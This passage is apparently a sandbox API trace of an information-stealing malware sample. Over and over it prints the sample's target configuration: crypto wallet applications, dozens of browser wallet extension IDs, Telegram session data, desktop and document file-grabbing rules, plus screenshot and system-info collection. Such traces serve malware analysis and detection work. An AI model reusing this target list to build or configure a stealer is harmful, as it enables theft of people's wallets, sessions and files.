Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.777] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0259.777] LocalFree (hMem=0x6b9720) returned 0x0 [0259.777] LocalFree (hMem=0x6bb5e0) returned 0x0 [0259.778] LocalFree (hMem=0x6bd4a0) returned 0x0 [0259.778] StrStrW (lpFirst="wlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.778] lstrlenW (lpString="wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3863 [0259.779] lstrlenW (lpString="wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3863 [0259.779] LocalAlloc (uFlags=0x40, uBytes=0x1e2e) returned 0x6b9720 [0259.779] lstrlenW (lpString="wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3863 [0259.779] LocalAlloc (uFlags=0x40, uBytes=0x1e2e) returned 0x6bb558 [0259.779] lstrlenW (lpString="wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus 